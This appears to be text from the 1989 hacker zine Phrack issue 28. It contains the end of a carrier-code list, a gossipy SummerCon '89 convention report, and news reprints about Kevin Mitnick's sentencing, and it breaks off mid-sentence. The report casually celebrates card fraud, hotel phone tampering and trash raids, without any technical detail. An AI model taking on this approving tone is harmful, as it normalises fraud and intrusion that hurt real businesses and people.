680 Midwest Telephone Service

682 Ashland Call America

684 Nacogdoches Telecommunications

687 NTS Communications

700 Tel‑America

704 Inter‑Exchange Communications

707 Telvue

709 Tel‑America

717 Pass Word

726 Procom

727 Conroe‑Comtel

735 Marinette‑Menominee Lds

737 National Telecommunications

741 ClayDesta

742 Phone America of Carolina

743 Peninsula Long Distance Service

747 Standard Informations Services

755 Sears Communication

757 Pace Long Distance Service

759 Telenet Communication (US Sprint)

760 American Satellite

766 Yavapai Telephone Exchange

771 Telesystems

777 US Sprint

785 Olympia Telecom

786 Shared Use Network Service

787 Star Tel of Abilene

788 ASCI's Telepone Express Network

789 Microtel

792 Southwest Communications

800 Satelco

801 MidAmerican LD (Republic)

827 TCS Network Services

833 Business Telecom

839 Cable & Wireless Communication (TDX)

847 VIP Connections

850 TK Communications

852 Telecommunicatons Systems

859 Valu‑Line of Longview

866 Alascom

872 Telecommunications Services

874 Tri‑Tel Communications

879 Thriftycall (Lintel Systems)

881 Coastal Telephone

882 Tuck Data Communications

883 TTI Midland‑Odessa

884 TTI Midland‑Odessa

885 The CommuniGroup

888 Satellite Business Systems (MCI)

895 Texas on Line

897 Leslie Hammond (Phone America)

898 Satellite Business Systems (MCI)

910 Montgomery Telamarketing Communication

915 Tele Tech

933 North American Communications

936 Rainbow Commuinications

937 Access Long Distance

938 Access Long Distance

951 Transamerica Telecommunications

955 United Communications

960 Access Plus

963 Tenex Communications

969 Dial‑Net

985 America Calling

986 MCI Telecommunications (SBS)

987 ClayDesta Communications

988 Western Union Telegraph

991 Access Long Distance

Phrack World News Special Edition III (SummerCon '89)

==Phrack Inc.==

Volume Three, Issue 28, File #8 of 12

PWN ^*^ PWN ^*^ PWN { SummerCon '89 } PWN ^*^ PWN ^*^ PWN

^*^

PWN P h r a c k W o r l d N e w s PWN

^*^ ~~~~~~~~~~~ ~~~

PWN Special Edition Issue Three PWN

^*^

PWN "Meet The Hackers Behind The Handles" PWN

^*^ June 23‑25, 1989 ^*^

PWN PWN

^*^ Created, Written, and Edited ^*^ PWN by Knight Lightning PWN

^*^

PWN ^*^ PWN ^*^ PWN { SummerCon '89 } PWN ^*^ PWN ^*^ PWN

SummerCon... What is it? In many ways, SummerCon is much more than just a convention that attracts America's greatest phreaking and hacking personalities. SummerCon is a state of mind.

Hackers by nature are urged on by a hidden sense of adventure to explore the unknown, to challenge the unchallenged, to reach out and experiment with anything and everything. The realization that we are not alone in our quest sometimes comes as a great gift and the opportunity to meet one's heroes, partners, and idols can be the most awe‑inspiring aspect of the hacker community ‑‑ this is what SummerCon is all about.

On the surface, SummerCon looks like a handful of youths hanging out at a hotel in St. Louis, Missouri. To me, it is more like one of those madcap movies you see on late night Home Box Office or something. No real point or direction, rebels without cause, all in the name of frantic fun and games. The atmosphere surrounding SummerCon is that of a dream world where once a year you can escape to a fantasy where ingenuity is king and you have friends around you at every moment. SummerCon itself may only last a weekend, but the friendships last a lifetime.

Welcome to SummerCon '89! This special edition of Phrack World News contains the exclusive coverage of the events and activities of a handful of the nation's greatest hackers on June 23‑25, 1989.

PreCon '89: Knight Lightning and Taran King Make Plans

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~We

remembered the fun at SummerCon '87 and how SummerCon '88 had lacked something. In a sense, the first SummerCon was very private because almost all of the attendants were members on Metal Shop Private, the bulletin board that was once the center of the "elite" modem community. The second SummerCon was a little different. Both Taran and I had been out of action for nearly a year and we had not intended to hold another convention ever again until June 1988 when we both decided that one good convention deserves another. SummerCon '88 was thrown together and a few changes were made. It was good, but this year we decided to set our sights higher than ever.

PreCon '89: The Early Birds Thursday Evening,

June 22, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The first guests to

this year's convention arrived a day ahead of schedule. Control C, a veteran of the previous two conventions, and Erik Bloodaxe flew in to St. Louis on Thursday evening, June 22, 1989. They were greeted by Forest Ranger and then after some rowdy activities at the airport, the threesome adjourned to the Best Western Executive International hotel ‑‑ The very same hotel where the first SummerCon was held in June 1987.

Around 10 PM, Taran King and I met up and being unable to locate Control C, Erik Bloodaxe, and Forest Ranger, we decided to take a trip to the hotel on the chance that they would be there by the time we showed up. As we approached the hotel, I felt a strange sensation like deja‑vu. It had been two years since I had been to the Executive International, or even anywhere near that part of town (with the exception of the airport). At any rate, luck was on our side. We raced through the newly remodeled hotel lobby and out past the pool. Control C's and Erik Bloodaxe's room stuck out like a beacon. Their room became known as the "Doom Room" in recognition of the many members of the Legion of Doom/Hackers that stayed there throughout the course of the weekend.

Control C and Erik Bloodaxe told us all about Black Ice‑Con which had taken place the weekend prior to SummerCon '89 in Dallas, Texas. The supposedly secret convention had been infiltrated by security agents from U.S. Sprint. They believed that the leak existed on Black Ice itself, the bulletin board from which the con took its name and all members were invited (there were less than 20 people on the board). They named who they thought the leak was, but discretion prevents printing his name here. On a side note, Black Ice was crashed by SuperNigger and abandoned by the members of LOD thereafter.

Erik had some interesting business cards with him. He passed several of them out to interested hackers and other miscellaneous people at the hotel and in the St. Louis metropolitan area as well. These cards featured Erik Bloodaxe and the following organizations;

‑ American Telephone & Telegraph [AT&T] ‑ Federal Bureau of Investigation [FBI] (Department of Justice) ‑ Secret Service (Department of Treasury) ‑ Southwestern Bell Telephone Company ‑ Tymnet (McDonnel Douglas)

Erik gave Taran and I each a set of the cards as souvenirs of his visit. Both of us had to work early morning shifts the next day so a little after midnight we decided to leave. I finally went to sleep around 1 AM.

SummerCon '89: The Adventure Begins Friday Morning,

June 23, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I woke up

around 5 AM to begin my day. I had arranged to work the morning shift 6‑10 AM in order to avoid having to work the rest of the day and weekend. I returned home around 10:30 AM and I began the final work on Phrack 27. Although the issue date is June 20, 1989, we did not really release the issue until June 27, due to complications with SummerCon '89 and other events. All of the sudden I received a call from another veteran of SummerCons past, a person who swore that he would not appear at this year's convention... TUC!

He tried to convince me that he was in Florida or anywhere but St. Louis. I asked him if he needed a ride from the airport to the hotel or something. The call sounded local as hell, but he insisted on remaining consistent with his story for another few minutes. Then my call waiting beeped and it was Taran King. I juggled the lines for a few minutes and then had Taran call Tuc (who was at the Executive International) while I got ready to go meet him at the hotel.

As I was leaving my home, I noticed something sticking to the front door. It was a notice from United Parcel Service. How odd. I did not notice it at 10:30 AM when I returned home and I did not not hear anyone knock on the door since I had been home. Still, the note said that they had left my package at the subdivision club house.

So I dropped in there and found my package... would you believe it came from Francis J. Haynes... Frank of "Frank and the Phunny Phone Call" himself and that is exactly what was inside: A cassette tape sampler of Frank and the Phunny Phone Call. Incidentally, Frank is being mastered on to compact disc and will be available for sale soon. More details on this will appear in Phrack World News in the near future.

Eventually, I reached the hotel. Control C and Erik Bloodaxe were nowhere to be found and Forest Ranger and Taran King were unavailable. I found Tuc and we decided to go grab lunch and drive around for a while.

We returned to the hotel and traded war stories about the past year and decided to call the hotel office to see who might have checked in during the past few hours. No one we recognized was here yet, but there was a call for Tuc on another line. The lady at the office switched the call into Tuc's room and I picked it up.

It was Crimson Death of 618. He wanted us to know that he was arriving by bus later that evening and would need a ride at about 10:45 PM. He also informed us that Dr. Cypher was on his way in and would arrived at the airport's bus terminal and take the shuttle to the hotel. He was unsure about what time this would occur.

I told him I could pick him up at the bus terminal and that I had to get off the phone. I did, you see because it was at about this time that Tuc had opened the windows and looked out by the pool terrace. Control C, Erik Bloodaxe, Forest Ranger, The Urvile, and a guy by the name of Phil Free (known under various other handles including Judas Christ) were out poolside and upon noticing us had run over to climb through the window into the room.

A Gathering Of Phreaks Friday Afternoon, June 23, 1989 ~~~~~~~~~~~~~~~~~~~~~~ Finally the convention began to get underway. Greetings were exchanged and some discussion about last year's convention took place. I had brought laser printed copies of Phracks 21 ‑ 26 into Tuc's room and everyone was interested in taking a look. The Urvile was especially curious about a certain quicknote that appeared in Phrack World News Issue XXV/Part 3. I would guess that the particular quicknote in question was number five...it was about Telenet security, but this is a story for another day.

The phone rang and Tuc answered. He handed the phone to Control C, who then disappeared without saying anything. It was obvious that Lex Luthor had arrived. However, he wished to make his current state of residence remain anonymous and so he decided to park his car someplace other than the hotel parking lot and thus he needed covert assistance. After a few minutes Control C returned with Lex and then all of the LODies ran quickly to the Doom Room. Taran King showed up around this time and then Tuc, FR, TK, and I joined the others.

Shortly afterwards, Taran King, Erik Bloodaxe, and I decided to go have a listen to Frank and the Phunny Phone Call. I had not played it yet and so we set up in the hotel lobby. The first part of the tape was not about Frank at all. It was a never‑released, newly produced musical selection that seemed to be called "My Telephone Is Acting Crazy." It was interesting as it employed different familiar telephone error messages, common types of recordings, and touch tones. When the actual Frank messages began, we stopped the tape and left the lobby immediately to avoid being thrown out ‑‑ the language was a little too obscene for the conservative employees behind the desk. So we wandered the hotel looking for a place to play the tape. In the process we met Doc Holiday and Hugo Danner.

We finally gained access to Tuc's room (he was with Forest Ranger, Phil Free, and the LOD in the Doom Room). Doc Holiday and Hugo went to drop their bags off in their room and ended up in the Doom Room as well. TK, EB, and I remained in Tuc's room to hear the rest of the tape. There was a knock at the door... it was Bill From RNOC.

Taran and BFR disappeared almost instantly as Erik Bloodaxe began to pursue Bill. He evidently had some score to settle. However, TK and BFR were gone as if they had become invisible. Erik decided to finish listening to the tape. We did and then went on to the Doom Room where we discovered Lucifer 666 and Synthetic Slug had arrived. L666 had many stories to tell about their trip to St. Louis and he also brought a video camera. His biggest concern was that his camera would scare the hell out of Lex... and to some extent it did. You see, as it was explained to me by the LOD members (with Lex Luthor absent at the time) there is paranoia and beyond paranoia, there is Lex.

SummerCon Craziness Friday Afternoon, June 23, 1989 ~~~~~~~~~~~~~~~~~~~ As many readers might already known, St. Louis is the world headquarters for McDonnell Douglas Aircraft, the firm that also owns Tymnet. This was no secret to the Legion of Doom, who led a series of successful trashing raids on them as well as Southwestern Bell and IBM. The way I heard it, they even took pictures.

Meanwhile, after spending some time hanging out with the gang at the Executive International, Bill From RNOC, Taran King, Tuc, Lex Luthor, and I went to get a bite to eat. We ended up at Wendy's because Tuc, being a vegetarian, wanted the salad bar. We had a little fun harassing the staff (who still owes BFR an iced tea). We began to speculate on who this year's security agent would be... after all there is always some informant or plant at SummerCon ‑‑ it has become a tradition.

At this point, everyone's best bet was on Dr. Cypher. Cypher had admitted to having connections on the security side of things, had once claimed to be busted and/or retired, supposedly told U.S. Sprint all about Black Ice Con (to hell with discretion), and all in all, was the major unknown who best fit the mold set forth by Dan The Operator at SummerCon '87 (although his friend that showed up with him, Cryptic Fist fit the mold rather well too, but this is detailed later). This is just what I had gathered from various people at the convention and are not necessarily my personal views.

The obvious telephone security person there was from Michigan Bell ‑‑ Control C ‑‑ But no one was really worried about him. He had been able to attend Black Ice‑Con and SummerCon '88 all expenses paid by Michigan Bell, but he said that since his superiors have read the PWN reports of SummerCons past, they felt that this trip was pleasure, not business, and would not give him a free ride any longer.

I hate to break this to the security folks out there, but honestly, do you think I would write an article and include information like whose computers, passwords, codes, and whatever were handed out and discussed? Why create negative publicity like that. Don't you all worry though... none of that EVER goes on at SummerCon :‑)

Before we left Wendy's, Tuc and BFR grabbed a stack of taco shells and as we journeyed towards the hotel, BFR and Tuc proceeded to throw parts of these shells at other vehicles and pedestrians. A few minutes after we had returned, everyone began getting together to go pickup Android Pope (aka Cisban Evil Priest) at the airport. It was 7:15 PM by now and his flight from New Jersey was supposed to arrive at 7:54 PM.

"Are you an agent of the FBI or Secret Service?!"

This was Lucifer 666's standard question that he asked everyone he came into contact with at the hotel ‑‑ guests, office personnel, porters, and even the shuttle bus driver. They all replied with a confused "no." It seemed to take an hour to get the shuttle bus ready for passengers. Bill From RNOC, Taran King, and I were going to just hang out at the hotel, but I was shanghaied on to the bus to the airport.

Just before we took off, the older gentleman that was serving as our bus driver turned around and said, "You know how you fellas were asking me if I was with the FBI..." We all froze instantly as he pulled out his badge. No, he was not with the FBI, but he was a recently retired deputy police chief for the St. Louis County Police Department. Control C later remarked to me that when the driver had shown his badge, he had half expected to hear a loud series of clicks as the locks to all of the doors on the shuttle bus shut and a barrier of some sort appeared between the driver and the passengers... all of whom were SummerCon guests.

Instead, several of the hackers, Hugo and Forest Ranger for the most part, began to question the retired officer about his gun fights. The driver remarked how he had been shot before and even went so far as to show us some of his scars. Lucifer asked, "Did you kill the guy who shot you?" The driver responded, "Certainly." This line of questioning went on for the duration of the trip. We got to the airport and moved out.

Erik Bloodaxe: Missing In Action Friday Evening, June 23, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Upon entering the lower terminal of Lambert Field (St. Louis International Airport), this "motley crew" encountered a blonde bombshell named Stephanie on one of the nearby payphones.

Control C was the first to approach her and he asked her if she was talking to her boyfriend. She wasn't and so he proceeded to take the handset and talk to her friend. In the meantime,

Lucifer 666 was filming the entire affair and several members of the group (not including Lex or Tuc) began having their pictures taken with blondie. This situation soon turned to riot as almost everyone wanted in on this action. Eventually we shuffled off to the American Airlines ticket counter to check up on Android

Pope's flight while Forest Ranger apologized for our behavior.

The scene at the ticket counter was somewhat grim. You see Android Pope was scheduled to arrive at 7:54 PM and apparently

the flight's arrival had been delayed... until 9:00 PM at the earliest. In the meantime, Forest Ranger was having a little

chat with Erik Bloodaxe. He told EB that the blondie chick thought he was a big geek and some other nasty things. Erik became so depressed that he headed back to talk to her again, but none of us knew it at the time.

So now we had to kill an hour. We started towards the far end of the airport where a restaurant and bar were located. On the way, we encountered some people striking against Eastern and Continental Airlines and handing out stickers that showed "Lorenzo" with a circle around his name and a line through it (much like a no U‑turn sign or the NO FEDS pin from SummerCon '88). We took a lot of those stickers and put them on unsuspecting people all over the airport.

Upon reaching the area just outside of the bar, we found a row of payphones, a fancy vintage replica of a car, and a wheelchair. Control C hopped into the chair (deja vu of SummerCon '87

occurred here when I remembered how Control C ended up in a swimming pool last time) and Lucifer 666 started driving him all about the airport. The problem was that the wheelchair belonged to this lady who was on the payphones and when she finally

noticed that it was missing she tracked Control and L666 down screaming theft.

Finally we got to the bar. We sat down and talked for a while watching planes take off and land. After a few minutes I noticed that Erik had disappeared. We retraced our steps all the way

back to the payphones where we encountered blondie without any success whatsoever. Then we went to the American Airlines ticket counter and had Erik paged. We also did the same thing at the Trans World Airlines and Braniff ticket counters.

Since we could not find him, about half of us decided it was time to head back to the hotel and let the rest of the group wait for Android Pope. We all went out to the street where the buses stop and waited. A very strange incident took place here. Another group of guys ventured forth with a person who was blindfolded

and handcuffed. They said, "This is what happens when you break the law guys... illegal trafficking in cocaine... Columbian." Forest Ranger asked if they had any to spare. Oddly enough, they had their own video camera and were filming this and us while we were filming them. They soon disappeared into a parking garage.

Eventually the bus came and picked us up. The Urvile, Lucifer 666, Tuc, and Doc Holiday stayed behind to search for Android Pope. They caught a later shuttle bus back to the hotel.

However, mere moments after they had arrived, Dr. Cypher showed

up claiming he had just got off the shuttle bus. Obviously this could not be true because these buses are very small and there is no way L666, Urvile, Tuc, DH, and AP could have missed him and

his friend Cryptic Fist.

It was around 11:00 PM when I remembered that Crimson Death was due at the bus station downtown. Bill From RNOC and Taran King accompanied me to go pick him up and were we ever surprised when we saw him. He was no longer the short little kid we had met at SummerCon '88.

We returned to the hotel to discover that Erik Bloodaxe had finally made it back. After hearing what Forest Ranger told him about what Stephanie had to say (calling him a geek or something similar), he decided to go to her again. He walked with her to her gate and stayed until her plane left. He later remarked that he had heard us paging him, but decided to ignore it. After his return, the entire SummerCon group headed out to the midnight showing of the premiere day of "Batman." L666 attempted to sneak his video camera into the movie, but changed his mind and did a "jaywalk" instead. After the flick everyone just hung out for a while. The Doom Room crew went to sleep because Control C had an early flight to catch the next morning and Taran and I crashed around 5:30 AM.

Conference Day A.M. Saturday Morning, June 24, 1989

~~~~~~~~~~~~~~~~~~~

The hotel was trashed. Forest Ranger and Lucifer 666 watched as the hotel employees were forced to clean up the mess that was

left behind after the previous evening's activities. One maid remarked, "I know my boss wants your business, but he sure as

hell don't want all these beer cans." Control C was gone, but he had performed a practical joke on Lucifer 666 and Synthetic Slug before he left, leaning a trashcan full of ice on their door so that when it was opened, all of the ice would fall into the room. According to Erik Bloodaxe, Control C also walked off with a jean jacket that did not belong to him ‑‑ No honor among hackers?

Aristotle and Predat0r arrived sometime during the morning with a small suitcase full of TAP issues and other materials for the convention. Crimson Death lit a pizza on fire in one of the

rooms in order to perform a demonic ritual that was reminiscent

of the first SummerCon (1987) when Lucifer 666 attempted (unsuccessfully) to eat fire.

The Conference Saturday Afternoon, June 24, 1989

~~~~~~~~~~~~~~

It was at this time that Taran King, Forest Ranger, and I handed out the Official SummerCon '89 buttons and posters. In addition to this, I handed out keychain flashlights that showed the logo

of Ameritech as well as a few specially designed "Legion" buttons to the LOD members that were there.

Forest Ranger got things started by welcoming everyone to the conference and asking them to take a seat. Mysteriously, Dr. Cypher had decided not to attend the conference, but his pal Cryptic Fist was there with a micro‑tape recorder in the pocket

of his leather jacket (that he refused to take off even though it was a blistering 94 degrees).

Our first speaker was Aristotle. He talked for a while about the new TAP Magazine, how it worked, and how to subscribe. He took quite a beating from the large amount of criticism directed at

him because of the lack of originality in the name of the publication as well as not having been given official permission to use the name. As it turns out, the ownership of the TAP name currently resides with Tuc. Tuc was there at the conference, so Aristotle put the question to him, "Can I do it?" Tuc basically said he thought it was ok, but he wanted to talk to Cheshire Catalyst about it. The situation remains unresolved.

The next speaker was Lex Luthor. Lex discussed a topic that was

a little more familiar to most everyone at the conference ‑‑ Code Abuse. For the most part, he presented the standard methods in which companies try and track down code abusers and strongly advised that everyone not abuse codes. He also went on to criticize Brew Associates for releasing a new edition of Code Thief.

Taran and I spoke next. For the most part we talked about Phrack Inc. and what lies ahead concerning the newsletter. We also brought up discussion on the Internet and the plausibility of security agencies using "grep" to track down hackers across the world. We also discussed our recent excursion through a GTE Central Office and what we found.

The Urvile gave a short lecture on Unix hacking and then it was Bill From RNOC's turn to speak. For the most part, he discussed 2600 Meetings (that take place once a month at The Citicorp

Center in New York City). He spoke briefly about Eric Corley and the publication 2600 Magazine. Afterwards, he played a humorous recording in which he engineered an insane gentleman to believe that he was a news reporter and got his story about computers in Utah taking over the world. That concluded the regularly scheduled speakers.

Group discussion began and the topics included: TelePub '86,

Scan Man, Cheshire Catalyst, The Bootleg, and Red Knight. We listened to segments of Frank and The Phunny Phone Call and Group Bell Presents the Adventures of Dom Tuffy for a while and then started being really creative. In a high spirited moment we formed a large human pyramid and took pictures (that are supposed to appear in TAP Magazine's next issue).

Poolside and Mellow Saturday Evening, June 24, 1989 ~~~~~~~~~~~~~~~~~~~

Aristotle, Predat0r, Doc Holiday, and Hugo Danner had to hit the road soon after the convention ended. However, another friend named Stephan showed up after the conference and so did Doctor Cypher with ParMaster and Rabbit. Cypher told us a story about how PM and Rabbit had carded plane tickets to St. Louis and stayed at the Holiday Inn‑West. However, after running up huge tabs at the hotel, the management asked them to pay up in cash

and would not accept their credit card numbers. They made a narrow escape from the hotel and arrived at Best Western to stay the night.

Par and Rabbit were very outgoing, they wanted to have Tuc, Lex, and Erik come to their yacht in New York and go sailing. It was

a very strange situation and parts of their story still do not seem to make sense even today. However, they proceeded to "fuck the phones" at the hotel so that all calls going to the front

desk would be intercepted into BFR's room. This was not very pleasurable.

Most people went downtown for dinner that night and then everyone ended up outside by the pool having a few drinks. At one point

in the evening, Taran, BFR, Stephan, Forest Ranger, and I went back to BFR's room and were followed by Erik Bloodaxe. He

accused Bill of being a cocaine dealer and Forest Ranger erupted, "THAT'S NOT COOL FUCKING WITH RNOC MAN!" and the two of them

(Erik and FR) came very close to blows. It was soon settled and the partying resumed. A small group of us went on a mission that night and what we discovered is a story for another day, but it kept us busy until almost 6 AM.

So Long Farewell Sunday, June 25, 1989

~~~~~~~~~~~~~~~~

With the exception of Erik Bloodaxe, the Legion of Doom gang had disappeared by the time Taran and I showed up at Best Western.

In fact, the only other hackers remaining in the vicinity were Forest Ranger, BFR, Stephan, L666, and Synthetic Slug as far as

we could tell. We said goodbye to L666 and SS and the rest of us (not including Erik Bloodaxe, Tuc and Crimson Death who we found out later were still in town) journeyed to Westport Plaza where

we spent the rest of the afternoon until it was time for BFR and Stephan to catch their flights. And that was SummerCon '89.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The following are the people who attended SummerCon '89: (23 Total)

Android Pope \ Aristotle \ Bill From RNOC \ Control C Crimson Death \ Cryptic Fist \ Doc Holiday \ Doctor Cypher \ Erik Bloodaxe

Forest Ranger \ Hugo Danner \ Knight Lightning \ Lex Luthor \ Lucifer 666 ParMaster \ Phil Free \ Predat0r \ Rabbit \ Stephan \ Synthetic Slug

Taran King \ Tuc \ The Urvile

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Who Didn't Attend SummerCon '89... And Why!

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Ax Murderer: "Definitely next year."

Bad Subscript: "Dan wouldn't pay for me this time."

Broadway Hacker: "I have a date that weekend."

Cheshire Catalyst: "I have a HAM convention."

CompuPhreak: "I was trying to fix my Watson."

Eric Corley: "It's either this or GHP."

Cray‑Z Phreaker and SkunkWorks gang: "I was competing in a regatta." DarkMage: "My hard disk drive broke and I need the cash to fix it." The Datamaster, Peter Pulse, Magnetic Surfer: "It should be in New York City." Dave Starr: (Disappeared off of the face of the earth again)

Dead Lord: "I was at camp."

Delta‑Master: "I am going to the Galactic Hackers Party too." (No show) The Disk Jockey and Shade: "I thought it was next weekend...sorry." Epsilon: "My mom said she didn't feel like going to St. Louis." The Executioner: "I had a beauty shop appointment."

Katie Hafner: "Forest Ranger would not let me go."

Hatchet Molly: "I got married."

Karl Marx: "I had a job interview... sue me."

The Leftist: "<Sniff> I'm in the hospital."

MAC???: "Why don't you guys have it in California this year?" John Maxfield: "I was there... the Holiday Inn‑West, right?"

The Mentor: "I'll have my own in Texas instead."

Oryan QUEST: "I got deported."

Phantom Phreaker and Doom Prophet: "We went camping... with our parents." Phrozen Ghost and Surfer Bob: "Scared of seeing Crimson Death." Promethius: "I decided to spend the weekend with Broadway Hacker instead." Red Knight: "I was in Kenya visiting relatives."

Remington Steal and Chanda Leir: "We'd rather be alone if you don't mind." Sigmund Fraud: "I still have another 7 or 8 weeks of basic training." Silver Spy: "I'll be there if I can."

Sir Francis Drake: "Had to get my other nostril pierced."

The Renegade Chemist: "I didn't feel like taking the heat for MY TAP." Tuc: "I am never coming to another convention again... whoops!" VaxCat and Phase Shifter: (In August) "When is that anyway?" Violence and The Scythian: "We got busted by SoutherNet, but we'll be there!"

Needless to say, those who missed the convention, missed out. Plans are already underway for SummerCon '90 ‑‑KL

Phrack World News XXVIII Part 1

==Phrack Inc.==

Volume Three, Issue 28, File #9 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXVIII/Part 1 PWN

PWN PWN

PWN October 7, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Welcome to Issue XXVIII of Phrack World News!

This issue of Phrack World News contains stories and articles detailing events from June ‑ October, 1989 and features Bellcore, Chalisti, Chaos Computer Club, Clifford Stoll, The Disk Jockey, Fry Guy, The Grim Phreaker, Legion of Doom, The Leftist, Major Havoc, Kevin Mitnick, Robert Morris, Oryan QUEST, The Prophet, Red Rebel, Shadow Stalker, Shadow 2600, Terra, The Urvile, and much more so keep reading.

"The Real Future Is Behind You... And It's Only The Beginning!"

________________________________________

Judge Suggests Computer Hacker Undergo Counseling

July 17, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Karen E. Klein (New York Times)

LOS ANGELES ‑‑ A federal judge has suggested that Los Angeles computer hacker Kevin Mitnick be sentenced to a one‑year residential treatment program to break his "computer addiction."

Although she did not finalize her sentence, U.S. District Judge Mariana R. Pfaelzer said Monday that she thought Mitnick had

some problems that would

benefit from counseling.

Pfaelzer will actually pass sentence at a hearing set for

Tuesday, July 18.

The idea that a computer "junkie" who cannot control his urge to break into computers could be helped with a program similar to Alcoholics Anonymous is a new one, Harriet Rossetto, director of the treatment program, told the judge.

"His behavior is an impulse disorder," Rossetto said. "The disease is the addiction, whether it be drugs, alcohol, gambling, hacking, money or power."

Rossetto, who was contacted by Mitnick's family, said Mitnick would be the first person addicted to computer crime to be

treated in the Bet T'shuvah program , a 20‑bed residential treatment program for Jewish criminal offenders.

"It's not willful conduct, what Kevin does," she said. "He's tried to control his behavior but hacking gives him a sense of power, makes him feel like somebody when he's depressed or he's lost a job."

Mitnick, age 25, has been in federal prison for seven months

since his arrest

last December on computer fraud charges.

He pleaded guilty in May to possessing 16 unauthorized MCI long‑distance codes and to stealing a computer security program from the Digital Equipment Corporation in Massachusetts.

Mitnick has been described in court as a computer whiz who could break into secured systems and change telephone or school records at will. He told the judge on Monday, July 17 that he wants to stop hacking.

"I sincerely want to change my life around and be productive rather than destructive," Mitnick said.

"With counseling to break the addictive pattern I feel I have towards computer hacking, I can take an active role and I don't have to have the compulsive behavior again."

Assistant U.S. Attorney James R. Asperger said that the

government does not oppose Mitnick's release from prison to be treated at Bet T'shuvah.

"The judge has taken this case very seriously. It shows computer hacking is not like a Nintendo game," Asperger said.

Mitnick has cooperated with FBI investigators since his pleaded guilty and helped bring charges against his former best friend, Leonard DiCicco, 23, of Calabasas, Asperger said.

DiCicco, who initially tipped the FBI to Mitnick's crimes, has agreed to plead guilty to a charge of aiding and abetting the transportation of a stolen computer program.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Authorities Backed Away From Original Allegations

July 23, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Karen E. Klein (New York Times)

LOS ANGELES ‑‑ Shortly after computer hacker Kevin Mitnick was arrested last December (1988), he was characterized as an extreme threat who could wreak electronic chaos if he got near so much as a telephone without supervision.

Police and FBI agents started trying to corroborate the flurry of rumors that arose about the malicious actions of the computer

whiz from suburban Panorama City, whose case attracted national attention.

Three judges denied Mitnick, age 25, bail on the ground that he was a danger to society and ordered him held in a high‑security jail cell.

But after separating the Mitnick myth from the reality, authorities backed away from many of their original allegations.

"A lot of the stories we originally heard just didn't pan out, so we had to give him the benefit of the doubt," said James R. Asperger, the assistant U.S. attorney who handled Mitnick's case.

Mitnick, pudgy and nervous, appeared in court last week to apologize for his crimes and to ask for treatment to help break his compulsive "addiction" to computers.

U.S. District Judge Mariana R. Pfaelzer sentenced him to serve

one year in

prison ‑‑ including the nearly eight months he already has served ‑‑ and then to undergo six months of counseling and treatment similar to that given to alcoholics or drug addicts.

"I think he has problems that would benefit greatly from this

kind of therapy," Pfaelzer said. "I want him to spend as much time as possible in counseling."

The case that began with a bang ended with Asperger pointing out that the one‑year prison term is the stiffest sentence ever

handed out in a computer fraud case.

Mitnick originally was accused of using unauthorized MCI long‑distance codes to tap into Leeds University computers in England and of stealing a $4 million computer security system

from the Digital Equipment Corporation in Massachusetts.

He ultimately agreed to plead guilty to possessing 16

unauthorized MCI long‑distance codes and to stealing the computer security program. The other charges were dismissed.

Alan Rubin, Mitnick's lawyer, said he felt vindicated by the outcome of the case.

Rubin contended from the start that computerphobia and adolescent exaggeration led authorities to mistakenly brand Mitnick a malicious criminal.

"Once the snowball starts rolling, you can't stop it," said

Rubin, who waged an unsuccessful campaign up to the federal appeals court to get bail for his client.

Far from being serious, Rubin said, Mitnick's actions were mostly immature, adolescent pranks.

He pointed to evidence that Mitnick was able to electronically

cut off telephone service to people he was angry with and once sent an enemy a $30,000 hospital telephone bill.

"It was the computer equivalent of sending your friend 14

pizzas," he said.

Many of the legends surrounding Mitnick came from the subculture of computer hackers ‑‑ and specifically from a man who was once Mitnick's best friend, Leonard Mitchell DiCicco, age 23, of Calabasas, California.

DiCicco, who had a falling out with Mitnick over a $100 bet, told computer security specialists at the Digital Equipment

Corporation that Mitnick had been trespassing on their system.

They in turn contacted the FBI agents, who arrested Mitnick.

What DiCicco told investigators may or may not have been entirely truthful, Rubin said.

"I have no idea what his motives were," Rubin said.

But DiCicco, who alerted authorities to Mitnick's crime, had the tables turned on him after the government refused to grant him absolute immunity for his testimony against Mitnick.

When the prosecution said they might charge him with a crime, DiCicco clammed up and refused to cooperate any further. But

from his prison cell, Mitnick agreed to cooperate and provided enough incriminating evidence for the government to charge DiCicco.

DiCicco is expected to plead guilty to a charge of aiding and abetting the interstate transportation of stolen property ‑‑ the computer security program ‑‑ on Monday.

Asperger said he was not sure whether DiCicco would get a

sentence similar to Mitnick's.

"Although they were friends and partners in computer hacking, (DiCicco) appeared to play a subordinate role (in the crime)," Asperger said.

Other rumors about Mitnick's conduct came from fellow hackers,

who may have blown the stories out of proportion.

"It's a very strange sub‑culture, with a lot of jealousies,"

Rubin said. "Part of it is bragging about how macho you are and what systems you've broken into. It's very immature in a lot of ways."

But prosecutors, citing Mitnick's various scrapes with computer misconduct since he was 13, aren't willing to let him off the

hook entirely.

"I think there's some substance to these things (the rumors that arose in Mitnick's case), an awful lot of them," said Los Angeles FBI chief Lawrence Lawler, who is a computer buff himself and followed Mitnick's case closely.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

If you are looking for other articles about Kevin David Mitnick aka Condor please refer to;
